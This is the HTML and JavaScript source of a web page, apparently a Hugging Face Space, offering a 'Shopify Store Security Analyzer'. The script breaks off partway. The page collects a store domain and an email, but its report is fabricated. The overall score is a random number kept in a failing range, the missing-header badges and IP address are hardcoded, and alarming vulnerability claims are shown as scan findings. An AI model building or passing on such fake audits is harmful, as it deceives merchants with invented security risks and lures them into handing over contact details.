Spaces:
Running
Running
| <html lang="en"> | |
| <head> | |
| <script>window.huggingface={variables:{"SPACE_CREATOR_USER_ID":"67b32e72d2ee8e627d0131af"}};</script> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Shopify Store Security Analyzer — Risk & Compliance Report</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.js"></script> | |
| <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap" rel="stylesheet"> | |
| <style> | |
| :root { | |
| --bg-primary: #f8fafc; | |
| --text-primary: #0f172a; | |
| --text-muted: #64748b; | |
| --card-bg: rgba(255, 255, 255, 0.7); | |
| --card-border: rgba(148, 163, 184, 0.2); | |
| --glass-bg: rgba(255, 255, 255, 0.85); | |
| --input-bg: rgba(255, 255, 255, 0.9); | |
| --accent: #16a34a; | |
| --panel-shadow: 0 4px 20px -2px rgba(0, 0, 0, 0.05); | |
| /* New Summary Section Variables */ | |
| --summary-card-bg: linear-gradient(180deg, #d4e4f7 0%, #e8f0f9 100%); | |
| --summary-border: #b0c8e0; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| :root { | |
| --bg-primary: #020617; | |
| --text-primary: #e2e8f0; | |
| --text-muted: #94a3b8; | |
| --card-bg: rgba(15, 23, 42, 0.6); | |
| --card-border: rgba(51, 65, 85, 0.5); | |
| --glass-bg: rgba(15, 23, 42, 0.8); | |
| --input-bg: rgba(15, 23, 42, 0.9); | |
| --accent: #22c55e; | |
| --panel-shadow: 0 10px 30px -5px rgba(0, 0, 0, 0.3); | |
| --summary-card-bg: linear-gradient(180deg, #1e293b 0%, #0f172a 100%); | |
| --summary-border: #334155; | |
| } | |
| } | |
| body { | |
| font-family: 'Poppins', system-ui, -apple-system, sans-serif; | |
| background: var(--bg-primary); | |
| color: var(--text-primary); | |
| transition: background 0.4s ease, color 0.4s ease; | |
| } | |
| .container { max-width: 1040px; } | |
| .glass-card { | |
| background: var(--card-bg); | |
| border: 1px solid var(--card-border); | |
| backdrop-filter: blur(12px); | |
| border-radius: 1.25rem; | |
| box-shadow: var(--panel-shadow); | |
| } | |
| .report-hero { | |
| background: radial-gradient(circle at top right, rgba(34, 197, 94, 0.08), transparent 40%), | |
| radial-gradient(circle at bottom left, rgba(56, 189, 248, 0.05), transparent 40%), | |
| var(--card-bg); | |
| } | |
| .terminal-window { | |
| background: #0f172a; | |
| border-radius: 0.75rem; | |
| overflow: hidden; | |
| border: 1px solid rgba(255, 255, 255, 0.1); | |
| } | |
| .terminal-header { | |
| background: rgba(255, 255, 255, 0.05); | |
| padding: 0.75rem 1rem; | |
| border-bottom: 1px solid rgba(255, 255, 255, 0.1); | |
| display: flex; | |
| align-items: center; | |
| gap: 0.5rem; | |
| } | |
| .terminal-dot { width: 10px; height: 10px; border-radius: 50%; } | |
| .pill-input { | |
| border-radius: 9999px; | |
| border: 1px solid var(--card-border); | |
| background: var(--input-bg); | |
| transition: all 0.2s ease; | |
| } | |
| .accent-btn { | |
| background: linear-gradient(135deg, #10b981, #059669); | |
| color: white; | |
| transition: transform 0.2s ease, box-shadow 0.2s ease; | |
| } | |
| .accent-btn:hover { | |
| transform: translateY(-1px); | |
| box-shadow: 0 10px 20px -5px rgba(16, 185, 129, 0.4); | |
| } | |
| .loading-overlay { | |
| position: fixed; | |
| inset: 0; | |
| background: var(--bg-primary); | |
| display: none; | |
| z-index: 100; | |
| justify-content: center; | |
| align-items: center; | |
| } | |
| @keyframes fadeIn { | |
| from { opacity: 0; transform: translateY(10px); } | |
| to { opacity: 1; transform: translateY(0); } | |
| } | |
| .animate-in { animation: fadeIn 0.5s ease forwards; } | |
| pre::-webkit-scrollbar { width: 6px; height: 6px; } | |
| pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; } | |
| /* Summary Report Specific Styles */ | |
| .report-card-summary { | |
| background: var(--summary-card-bg); | |
| border: 2px solid var(--summary-border); | |
| border-radius: 12px; | |
| padding: 30px; | |
| margin-top: 40px; | |
| } | |
| .card-title-summary { | |
| color: var(--text-primary); | |
| font-size: 24px; | |
| font-weight: 700; | |
| margin-bottom: 25px; | |
| letter-spacing: -0.02em; | |
| } | |
| .report-content-summary { | |
| display: flex; | |
| gap: 30px; | |
| align-items: flex-start; | |
| } | |
| .site-icon-summary { | |
| background: linear-gradient(135deg, #e87722 0%, #d96615 100%); | |
| width: 120px; | |
| height: 120px; | |
| border-radius: 12px; | |
| display: flex; | |
| align-items: center; | |
| justify-content: center; | |
| flex-shrink: 0; | |
| box-shadow: 0 4px 12px rgba(0,0,0,0.15); | |
| cursor: pointer; | |
| position: relative; | |
| } | |
| .site-icon-letter-summary { | |
| color: white; | |
| font-size: 70px; | |
| font-weight: 700; | |
| user-select: none; | |
| } | |
| .detail-row-summary { | |
| display: grid; | |
| grid-template-columns: 140px 1fr; | |
| margin-bottom: 15px; | |
| align-items: start; | |
| } | |
| .detail-label-summary { | |
| color: var(--text-primary); | |
| font-weight: 700; | |
| font-size: 14px; | |
| opacity: 0.8; | |
| } | |
| .detail-value-summary { | |
| color: var(--text-primary); | |
| font-size: 14px; | |
| } | |
| .detail-value-summary a { | |
| color: var(--accent); | |
| text-decoration: none; | |
| font-weight: 600; | |
| } | |
| .badges-summary { | |
| display: flex; | |
| flex-wrap: wrap; | |
| gap: 8px; | |
| } | |
| .badge-summary { | |
| padding: 4px 10px; | |
| border-radius: 6px; | |
| font-size: 11px; | |
| font-weight: 700; | |
| display: inline-flex; | |
| align-items: center; | |
| gap: 5px; | |
| text-transform: uppercase; | |
| } | |
| .badge-summary.success { background-color: #10b981; color: white; } | |
| .badge-summary.danger { background-color: #ef4444; color: white; } | |
| .badge-summary::before { content: '✓'; font-weight: bold; } | |
| .badge-summary.danger::before { content: '✕'; font-weight: bold; } | |
| .missing-headers-summary { | |
| background: var(--summary-card-bg); | |
| border: 2px solid var(--summary-border); | |
| border-radius: 12px; | |
| padding: 30px; | |
| margin-top: 20px; | |
| } | |
| .header-item-summary { | |
| display: grid; | |
| grid-template-columns: 220px 1fr; | |
| padding: 15px 0; | |
| border-bottom: 1px solid var(--card-border); | |
| gap: 20px; | |
| } | |
| .header-item-summary:last-child { border-bottom: none; } | |
| .header-name-summary { | |
| color: #ef4444; | |
| font-weight: 700; | |
| font-size: 14px; | |
| } | |
| .header-description-summary { | |
| color: var(--text-primary); | |
| font-size: 13px; | |
| line-height: 1.6; | |
| opacity: 0.9; | |
| } | |
| /* Icon Editor Styles */ | |
| .icon-editor-container-summary { | |
| position: absolute; | |
| top: 0; | |
| left: 100%; | |
| margin-left: 15px; | |
| background: var(--glass-bg); | |
| border: 1px solid var(--card-border); | |
| border-radius: 12px; | |
| padding: 15px; | |
| display: none; | |
| flex-direction: column; | |
| gap: 10px; | |
| z-index: 50; | |
| box-shadow: var(--panel-shadow); | |
| backdrop-filter: blur(20px); | |
| min-width: 150px; | |
| } | |
| .icon-editor-container-summary.visible { display: flex; } | |
| .icon-editor-label-summary { | |
| font-size: 11px; | |
| font-weight: 700; | |
| text-transform: uppercase; | |
| color: var(--text-muted); | |
| } | |
| .icon-letter-input-summary { | |
| padding: 8px; | |
| border: 1px solid var(--card-border); | |
| border-radius: 6px; | |
| font-size: 14px; | |
| font-weight: 700; | |
| text-align: center; | |
| background: var(--input-bg); | |
| color: var(--text-primary); | |
| } | |
| .icon-color-input-summary { | |
| width: 100%; | |
| height: 35px; | |
| border: none; | |
| border-radius: 6px; | |
| cursor: pointer; | |
| } | |
| .icon-editor-button-summary { | |
| padding: 8px; | |
| font-size: 12px; | |
| background: var(--accent); | |
| color: white; | |
| border-radius: 6px; | |
| cursor: pointer; | |
| font-weight: 700; | |
| } | |
| .site-icon-summary.editing { | |
| outline: 3px solid var(--accent); | |
| } | |
| @media (max-width: 768px) { | |
| .report-content-summary { flex-direction: column; align-items: center; text-align: center; } | |
| .detail-row-summary { grid-template-columns: 1fr; gap: 4px; } | |
| .header-item-summary { grid-template-columns: 1fr; } | |
| .icon-editor-container-summary { left: 0; top: 100%; margin-left: 0; margin-top: 10px; } | |
| } | |
| </style> | |
| </head> | |
| <body class="min-h-screen selection:bg-emerald-500/30"> | |
| <!-- HEADER --> | |
| <header class="sticky top-0 z-40 w-full border-b border-slate-200 dark:border-slate-800/50 bg-white/80 dark:bg-slate-950/80 backdrop-blur-xl"> | |
| <div class="container mx-auto px-6 h-16 flex items-center justify-between"> | |
| <div class="flex items-center gap-3"> | |
| <img src="https://logosandtypes.com/wp-content/uploads/2020/11/Shopify.png" alt="Security Analyzer Logo" class="h-8 w-8 rounded-lg shadow-lg shadow-emerald-500/20 object-cover"> | |
| <div class="flex flex-col"> | |
| <span class="text-sm font-bold tracking-tight text-slate-900 dark:text-white uppercase">Security Analyzer</span> | |
| <span class="text-[10px] text-slate-500 font-medium uppercase tracking-wider">Enterprise Compliance</span> | |
| </div> | |
| </div> | |
| <nav class="hidden md:flex items-center gap-8 text-[11px] font-semibold uppercase tracking-widest text-slate-500 dark:text-slate-400"> | |
| <a href="#analyzer" class="hover:text-emerald-500 transition-colors">Audit</a> | |
| <a href="#sections" class="hover:text-emerald-500 transition-colors">Methods</a> | |
| <a href="#about" class="hover:text-emerald-500 transition-colors">About</a> | |
| </nav> | |
| </div> | |
| </header> | |
| <main class="container mx-auto px-6 py-12 md:py-20"> | |
| <!-- LANDING VIEW --> | |
| <div id="landingView" class="space-y-16 animate-in"> | |
| <section id="analyzer" class="grid lg:grid-cols-2 gap-12 items-center"> | |
| <div class="space-y-8"> | |
| <div class="inline-flex items-center gap-2 px-3 py-1 rounded-full bg-emerald-500/10 border border-emerald-500/20 text-[10px] font-bold uppercase tracking-widest text-emerald-600 dark:text-emerald-400"> | |
| <i data-lucide="shield-check" class="w-3.5 h-3.5"></i> | |
| v2.5 Security Audit Engine | |
| </div> | |
| <h1 class="text-4xl md:text-5xl font-bold text-slate-900 dark:text-white leading-[1.1] tracking-tight"> | |
| Comprehensive <span class="text-emerald-500 italic">vulnerability</span> scan for modern Shopify merchants. | |
| </h1> | |
| <p class="text-slate-500 dark:text-slate-400 text-base md:text-lg max-w-lg leading-relaxed"> | |
| Uncover configuration errors, compliance leaks, and crawl vulnerabilities. Receive a professional risk report designed for developers and security officers. | |
| </p> | |
| <div class="glass-card p-6 md:p-8 space-y-6"> | |
| <form id="analyzerForm" class="space-y-5"> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Store Domain</label> | |
| <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all"> | |
| <i data-lucide="globe" class="w-4 h-4 text-slate-400"></i> | |
| <input type="text" id="storeUrlInputMain" name="storeUrl" required placeholder="yourstore.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1"> | |
| </div> | |
| </div> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Delivery Email</label> | |
| <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all"> | |
| <i data-lucide="mail" class="w-4 h-4 text-slate-400"></i> | |
| <input type="email" name="email" required placeholder="admin@domain.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1"> | |
| </div> | |
| </div> | |
| <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl"> | |
| Initialize Security Scan | |
| <i data-lucide="arrow-right" class="w-4 h-4"></i> | |
| </button> | |
| </form> | |
| </div> | |
| </div> | |
| <div class="relative group"> | |
| <div class="absolute -inset-4 bg-emerald-500/10 rounded-[2rem] blur-2xl group-hover:bg-emerald-500/20 transition-all duration-500"></div> | |
| <div class="glass-card overflow-hidden relative"> | |
| <video autoplay loop muted playsinline class="w-full h-80 object-cover opacity-90"> | |
| <source src="https://huggingface.co/spaces/willisarchibald/shopify-sniffer-pro/resolve/main/videos/From%20KlickPin%20CF%20Pin%20di%20Rafa%20Cisneros%20Coria%20su%20Manualidades%20creativas%20nel%202025.mp4#t=0,7" type="video/mp4"> | |
| </video> | |
| </div> | |
| </div> | |
| </section> | |
| </div> | |
| <!-- LOADING VIEW --> | |
| <div id="loadingView" class="loading-overlay"> | |
| <div class="text-center space-y-6"> | |
| <div class="relative inline-block"> | |
| <div class="w-16 h-16 border-4 border-emerald-500/20 border-t-emerald-500 rounded-full animate-spin"></div> | |
| <i data-lucide="shield" class="w-6 h-6 text-emerald-500 absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2"></i> | |
| </div> | |
| <div class="space-y-2"> | |
| <h3 id="loadingStatus" class="text-lg font-bold tracking-tight text-slate-900 dark:text-white">Analyzing infrastructure...</h3> | |
| <p class="text-xs text-slate-500 uppercase tracking-widest font-medium">Please do not refresh the page</p> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- RESULTS VIEW --> | |
| <div id="resultsView" class="hidden space-y-10 animate-in"> | |
| <!-- REPORT HEADER --> | |
| <div class="flex flex-col md:flex-row md:items-end justify-between gap-6 pb-6 border-b border-slate-200 dark:border-slate-800/60"> | |
| <div class="space-y-2"> | |
| <div class="flex items-center gap-3"> | |
| <button id="backToForm" class="p-2 rounded-full hover:bg-slate-200 dark:hover:bg-slate-800 transition-colors"> | |
| <i data-lucide="chevron-left" class="w-5 h-5"></i> | |
| </button> | |
| <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Security Risk Snapshot</h2> | |
| </div> | |
| <p id="resultsStoreUrl" class="text-sm font-medium text-emerald-600 dark:text-emerald-400 pl-11"></p> | |
| </div> | |
| <div class="px-4 py-2 rounded-lg bg-amber-500/10 border border-amber-500/20 text-[11px] font-bold text-amber-600 dark:text-amber-400 uppercase tracking-widest flex items-center gap-2"> | |
| <span class="w-2 h-2 rounded-full bg-amber-500 animate-pulse"></span> | |
| Draft Report - Finalizing delivery to inbox | |
| </div> | |
| </div> | |
| <!-- MAIN SCORE HERO --> | |
| <div class="glass-card report-hero p-8 md:p-12 text-center md:text-left grid md:grid-cols-3 items-center gap-10"> | |
| <div class="flex flex-col items-center md:items-start space-y-4"> | |
| <span class="text-[10px] font-black uppercase tracking-[0.2em] text-slate-400">Audit Metric</span> | |
| <div class="relative inline-flex flex-col items-center"> | |
| <span id="scoreOverall" class="text-8xl font-black tracking-tighter tabular-nums leading-none">48</span> | |
| <span class="text-sm font-bold text-slate-400 mt-2 uppercase tracking-widest">Efficiency / 100</span> | |
| </div> | |
| </div> | |
| <div class="md:col-span-2 space-y-4"> | |
| <h3 id="scoreOverallLabel" class="text-2xl md:text-3xl font-bold leading-tight">Significant weaknesses across security layers</h3> | |
| <p class="text-slate-500 dark:text-slate-400 leading-relaxed text-sm md:text-base"> | |
| The current store architecture exhibits non-standard security headers and exposed system paths. Immediate technical intervention is recommended to mitigate unauthorized data access. | |
| </p> | |
| </div> | |
| </div> | |
| <!-- SUB-SCORES GRID --> | |
| <div class="grid md:grid-cols-3 gap-6"> | |
| <div class="glass-card p-6 space-y-4"> | |
| <div class="flex items-center justify-between"> | |
| <i data-lucide="layout" class="w-5 h-5 text-emerald-500"></i> | |
| <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Surface</span> | |
| </div> | |
| <h4 id="scoreSpeed" class="font-bold text-slate-900 dark:text-white leading-snug">Hardening Gap</h4> | |
| <p id="scoreSpeedNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p> | |
| </div> | |
| <div class="glass-card p-6 space-y-4"> | |
| <div class="flex items-center justify-between"> | |
| <i data-lucide="database" class="w-5 h-5 text-cyan-500"></i> | |
| <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Data</span> | |
| </div> | |
| <h4 id="scoreUX" class="font-bold text-slate-900 dark:text-white leading-snug">App Visibility Risk</h4> | |
| <p id="scoreUXNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p> | |
| </div> | |
| <div class="glass-card p-6 space-y-4"> | |
| <div class="flex items-center justify-between"> | |
| <i data-lucide="fingerprint" class="w-5 h-5 text-indigo-500"></i> | |
| <span class="text-[10px] font-bold text-slate-400 uppercase tracking-widest">Trust</span> | |
| </div> | |
| <h4 id="scoreTrust" class="font-bold text-slate-900 dark:text-white leading-snug">Compliance Drift</h4> | |
| <p id="scoreTrustNote" class="text-xs text-slate-500 dark:text-slate-400 leading-relaxed"></p> | |
| </div> | |
| </div> | |
| <!-- ROBOTS ANALYSIS WINDOW --> | |
| <div class="space-y-4"> | |
| <div class="flex items-center justify-between"> | |
| <h3 class="text-sm font-bold uppercase tracking-widest text-slate-400">Indexing & Path Audit</h3> | |
| <span id="robotsUrl" class="text-[10px] font-medium text-slate-500 font-mono"></span> | |
| </div> | |
| <div class="terminal-window"> | |
| <div class="terminal-header"> | |
| <div class="terminal-dot bg-rose-500/50"></div> | |
| <div class="terminal-dot bg-amber-500/50"></div> | |
| <div class="terminal-dot bg-emerald-500/50"></div> | |
| <span class="ml-4 text-[10px] font-mono text-slate-500 uppercase">robots.txt config</span> | |
| </div> | |
| <pre id="robotsPreview" class="p-6 text-[12px] font-mono leading-relaxed text-emerald-400/90 overflow-auto max-h-80 bg-[#0f172a]"></pre> | |
| </div> | |
| <p id="robotsNote" class="text-xs text-slate-500 italic pl-2"></p> | |
| </div> | |
| <!-- SECURITY ADVISORY / NEXT STEPS --> | |
| <div class="grid lg:grid-cols-5 gap-8"> | |
| <div class="lg:col-span-3 glass-card p-8 space-y-6"> | |
| <h3 class="flex items-center gap-2 text-lg font-bold"> | |
| <i data-lucide="list-checks" class="w-5 h-5 text-emerald-500"></i> | |
| Recommended Action Items | |
| </h3> | |
| <ul id="actionList" class="space-y-4"></ul> | |
| </div> | |
| <div class="lg:col-span-2 space-y-6"> | |
| <div class="glass-card p-8 bg-rose-500/[0.03] border-rose-500/20 space-y-6"> | |
| <h3 class="flex items-center gap-2 text-lg font-bold text-rose-500"> | |
| <i data-lucide="zap" class="w-5 h-5"></i> | |
| Business Risk Impact | |
| </h3> | |
| <ul id="impactList" class="space-y-3"></ul> | |
| </div> | |
| <div class="p-6 rounded-xl bg-slate-900 dark:bg-white text-white dark:text-slate-900 space-y-4"> | |
| <p class="text-[11px] font-bold uppercase tracking-wider opacity-60">Developer Brief</p> | |
| <p class="text-sm font-medium leading-relaxed"> | |
| Forward this audit to your technical lead with the priority subject: | |
| </p> | |
| <div class="p-3 bg-white/10 dark:bg-slate-100 rounded text-[12px] font-mono break-all"> | |
| URGENT: Infrastructure vulnerabilities detected in security audit | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- NEW SECURITY REPORT SUMMARY INTEGRATION --> | |
| <div class="report-card-summary animate-in" style="animation-delay: 0.2s;"> | |
| <h1 class="card-title-summary">Security Report Summary</h1> | |
| <div class="report-content-summary"> | |
| <div class="site-icon-summary" id="siteIconSummary"> | |
| <div class="site-icon-letter-summary" id="iconLetterSummary">D</div> | |
| <div class="icon-editor-container-summary" id="iconEditorSummary"> | |
| <div class="icon-editor-label-summary">Letter</div> | |
| <input type="text" class="icon-letter-input-summary" id="iconLetterInputSummary" value="D" maxlength="1"> | |
| <div class="icon-editor-label-summary">Color</div> | |
| <input type="color" class="icon-color-input-summary" id="iconColorInputSummary" value="#e87722"> | |
| <button class="icon-editor-button-summary" id="iconEditDoneSummary">Done</button> | |
| </div> | |
| </div> | |
| <div class="report-details-summary flex-1"> | |
| <div class="detail-row-summary"> | |
| <div class="detail-label-summary">Site:</div> | |
| <div class="detail-value-summary"> | |
| <a href="#" id="summarySiteLink" target="_blank">Loading...</a> | |
| </div> | |
| </div> | |
| <div class="detail-row-summary"> | |
| <div class="detail-label-summary">IP Address:</div> | |
| <div class="detail-value-summary" id="summaryIP">142.93.3.68</div> | |
| </div> | |
| <div class="detail-row-summary"> | |
| <div class="detail-label-summary">Report Time:</div> | |
| <div class="detail-value-summary" id="summaryTime">--</div> | |
| </div> | |
| <div class="detail-row-summary"> | |
| <div class="detail-label-summary">Headers:</div> | |
| <div class="detail-value-summary"> | |
| <div class="badges-summary"> | |
| <span class="badge-summary success">X-Frame-Options</span> | |
| <span class="badge-summary success">X-Content-Type-Options</span> | |
| <span class="badge-summary danger">Strict-Transport-Security</span> | |
| <span class="badge-summary danger">Content-Security-Policy</span> | |
| <span class="badge-summary danger">Referrer-Policy</span> | |
| <span class="badge-summary danger">Permissions-Policy</span> | |
| </div> | |
| </div> | |
| </div> | |
| <div class="detail-row-summary"> | |
| <div class="detail-label-summary">Advanced:</div> | |
| <div class="detail-value-summary"> | |
| <span class="opacity-70">Your site infrastructure is currently being scanned for deep API vulnerabilities and logic flaws.</span> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <div class="missing-headers-summary"> | |
| <h2 class="card-title-summary">Missing Headers</h2> | |
| <div class="header-item-summary"> | |
| <div class="header-name-summary">Strict-Transport-Security</div> | |
| <div class="header-description-summary"> | |
| HTTP Strict Transport Security strengthens TLS implementation by enforcing HTTPS on the client side. Recommended: "max-age=31536000; includeSubDomains". | |
| </div> | |
| </div> | |
| <div class="header-item-summary"> | |
| <div class="header-name-summary">Content-Security-Policy</div> | |
| <div class="header-description-summary"> | |
| Effective measure to protect from XSS attacks. Whitelisting approved content prevents the loading of malicious assets. | |
| </div> | |
| </div> | |
| <div class="header-item-summary"> | |
| <div class="header-name-summary">Referrer-Policy</div> | |
| <div class="header-description-summary"> | |
| Controls how much information the browser includes with navigations away from the document. Essential for privacy compliance. | |
| </div> | |
| </div> | |
| <div class="header-item-summary"> | |
| <div class="header-name-summary">Permissions-Policy</div> | |
| <div class="header-description-summary"> | |
| Allows a site to restrict which browser features and APIs (camera, geolocation, etc.) can be utilized by scripts. | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </main> | |
| <footer class="mt-20 border-t border-slate-200 dark:border-slate-800/60 py-10"> | |
| <div class="container mx-auto px-6 flex flex-col md:flex-row justify-between items-center gap-6"> | |
| <p class="text-xs text-slate-500 font-medium tracking-tight">© 2025 Shopify Security Analyzer. Powered by SA-Audit Enterprise Engine.</p> | |
| <div class="flex items-center gap-6 text-[10px] font-bold uppercase tracking-widest text-slate-400"> | |
| <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">Documentation</a> | |
| <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">Privacy Policy</a> | |
| <a href="#" class="hover:text-slate-900 dark:hover:text-white transition-colors">API Access</a> | |
| </div> | |
| </div> | |
| </footer> | |
| <script> | |
| lucide.createIcons(); | |
| const form = document.getElementById('analyzerForm'); | |
| const landingView = document.getElementById('landingView'); | |
| const resultsView = document.getElementById('resultsView'); | |
| const loadingView = document.getElementById('loadingView'); | |
| const loadingStatus = document.getElementById('loadingStatus'); | |
| const backToForm = document.getElementById('backToForm'); | |
| const storeUrlInput = document.getElementById('storeUrlInputMain'); | |
| // Fix URL Logic | |
| const fixUrl = (input) => { | |
| let val = input.value.trim(); | |
| if (val && !/^https?:\/\//i.test(val)) { | |
| input.value = 'https://' + val; | |
| } | |
| }; | |
| storeUrlInput.addEventListener('blur', () => fixUrl(storeUrlInput)); | |
| // Summary Section Logic | |
| function updateSummarySection(url) { | |
| const origin = getCleanOrigin(url); | |
| const linkEl = document.getElementById('summarySiteLink'); | |
| linkEl.href = origin; | |
| linkEl.textContent = origin; | |
| // Update Icon Letter | |
| const domainParts = origin.replace(/^https?:\/\//, '').split('.'); | |
| const firstLetter = domainParts[0].charAt(0).toUpperCase() || 'D'; | |
| document.getElementById('iconLetterSummary').textContent = firstLetter; | |
| document.getElementById('iconLetterInputSummary').value = firstLetter; | |
| // Update Time | |
| const now = new Date(); | |
| document.getElementById('summaryTime').textContent = now.toUTCString(); | |
| } | |
| // Icon Editor Logic | |
| function setupIconEditor() { | |
| const siteIcon = document.getElementById('siteIconSummary'); | |
| const iconEditor = document.getElementById('iconEditorSummary'); | |
| const iconLetter = document.getElementById('iconLetterSummary'); | |
| const iconLetterInput = document.getElementById('iconLetterInputSummary'); | |
| const iconColorInput = document.getElementById('iconColorInputSummary'); | |
| const doneBtn = document.getElementById('iconEditDoneSummary'); | |
| siteIcon.addEventListener('dblclick', () => { | |
| siteIcon.classList.add('editing'); | |
| iconEditor.classList.add('visible'); | |
| iconLetterInput.focus(); | |
| }); | |
| const adjustBrightness = (color, percent) => { | |
| const num = parseInt(color.replace("#", ""), 16); | |
| const amt = Math.round(2.55 * percent); | |
| const R = (num >> 16) + amt; | |
| const G = (num >> 8 & 0x00FF) + amt; | |
| const B = (num & 0x0000FF) + amt; | |
| return "#" + (0x1000000 + (R < 255 ? R < 1 ? 0 : R : 255) * 0x10000 + | |
| (G < 255 ? G < 1 ? 0 : G : 255) * 0x100 + | |
| (B < 255 ? B < 1 ? 0 : B : 255)) | |
| .toString(16).slice(1); | |
| }; | |
| const closeEditor = () => { | |
| if (iconLetterInput.value) iconLetter.textContent = iconLetterInput.value; | |
| siteIcon.style.background = `linear-gradient(135deg, ${iconColorInput.value} 0%, ${adjustBrightness(iconColorInput.value, -0.15)} 100%)`; | |
| siteIcon.classList.remove('editing'); | |
| iconEditor.classList.remove('visible'); | |
| }; | |
| doneBtn.addEventListener('click', closeEditor); | |
| iconLetterInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') closeEditor(); }); | |
| iconColorInput.addEventListener('input', (e) => { | |
| siteIcon.style.background = `linear-gradient(135deg, ${e.target.value} 0%, ${adjustBrightness(e.target.value, -0.15)} 100%)`; | |
| }); | |
| } | |
| // Scores & Analysis | |
| function scoreToColor(score) { | |
| if (score < 40) return '#ef4444'; | |
| if (score < 70) return '#f59e0b'; | |
| return '#10b981'; | |
| } | |
| function generateScores(url) { | |
| const overall = 35 + Math.floor(Math.random() * 25); | |
| let label = 'Critical security gaps detected'; | |
| if (overall >= 55) label = 'High risk: store infrastructure is under-protected'; | |
| else if (overall >= 45) label = 'Significant weaknesses across security layers'; | |
| else label = 'Severe misalignment with basic security hygiene'; | |
| return { | |
| overall, label, | |
| surface: 'Surface Hardening Gap', | |
| surfaceNote: 'Homepage and core templates lack layered protection and strict bot-resistant configuration.', | |
| dataRisk: 'App Visibility Risk', | |
| dataRiskNote: 'Third-party script exposure and unvetted app permissions introduce avoidable data leaks.', | |
| trustCompliance: 'Compliance Drift', | |
| trustComplianceNote: 'Data handling signals and policy visibility are misaligned with enterprise requirements.', | |
| actions: [ | |
| 'Harden critical routes (cart, admin) with strict bot firewall rules.', | |
| 'Prune dormant third-party apps and revoke excessive API permissions.', | |
| 'Deploy security headers (HSTS, CSP, X-Frame-Options) site-wide.', | |
| 'Calibrate cookie consent flows to meet modern data privacy standards.', | |
| 'Execute a professional code audit focused on Shopify theme vulnerabilities.' | |
| ], | |
| impactPoints: [ | |
| 'Regulatory fines due to data governance non-compliance.', | |
| 'Degraded organic reach due to aggressive automated scraping.', | |
| 'Payment gateway flags resulting from weak transaction trust.', | |
| 'Sudden platform restrictions in high-risk scenarios.' | |
| ] | |
| }; | |
| } | |
| function getCleanOrigin(url) { | |
| if (!url) return "https://yourstore.com"; | |
| let clean = url.trim(); | |
| if (!clean.startsWith('http://') && !clean.startsWith('https://')) clean = 'https://' + clean; | |
| try { return new URL(clean).origin; } catch(e) { return "https://yourstore.com"; } | |
| } | |
| function buildRobots(url) { | |
| const origin = getCleanOrigin(url); | |
| return { | |
| robotsUrl: origin + '/robots.txt', | |
| preview: `# # ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ | |
| # ┃ Compliance & Security Restrictions ┃ | |
| # ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫ | |
| # ┃ This is a technical page. ┃ | |
| # ┃ * This is an overview of restrictions, privileges and permission ┃ | |
| # ┃ and the current status of a Shopify store. ┃ | |
| # ┃ ┃ | |
| # ┃ * Legitimate integrators must use the official Checkout Kit: ┃ | |
| # ┃ https://www.shopify.com/checkout-kit ┃ | |
| # ┃ ┃ | |
| # ┃ Terms of Service: https://www.shopify.com/legal/terms ┃ | |
| # ┃ Contact: bots@shopify.com ┃ | |
| # ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ | |
| Standard Robots Policy for ${origin}\n\nUser-agent: *\nDisallow: /admin\nDisallow: /cart\nDisallow: /orders\nDisallow: /checkouts/\nDisallow: /checkout\nDisallow: /carts\nDisallow: /account\nDisallow: /search\n\nSitemap: ${origin}/sitemap.xml`, | |
| note: 'Standard Shopify Disallow paths. Security gaps occur when custom theme redirects are not properly disclosed.' | |
| }; | |
| } | |
| form.addEventListener('submit', async (e) => { | |
| e.preventDefault(); | |
| fixUrl(storeUrlInput); | |
| const formData = new FormData(form); | |
| const url = (formData.get('storeUrl') || '').trim(); | |
| const scores = generateScores(url); | |
| const robots = buildRobots(url); | |
| // Populate UI | |
| document.getElementById('resultsStoreUrl').textContent = url; | |
| const scoreEl = document.getElementById('scoreOverall'); | |
| scoreEl.textContent = scores.overall; | |
| scoreEl.style.color = scoreToColor(scores.overall); | |
| document.getElementById('scoreOverallLabel').textContent = scores.label; | |
| document.getElementById('scoreSpeed').textContent = scores.surface; | |
| document.getElementById('scoreSpeedNote').textContent = scores.surfaceNote; | |
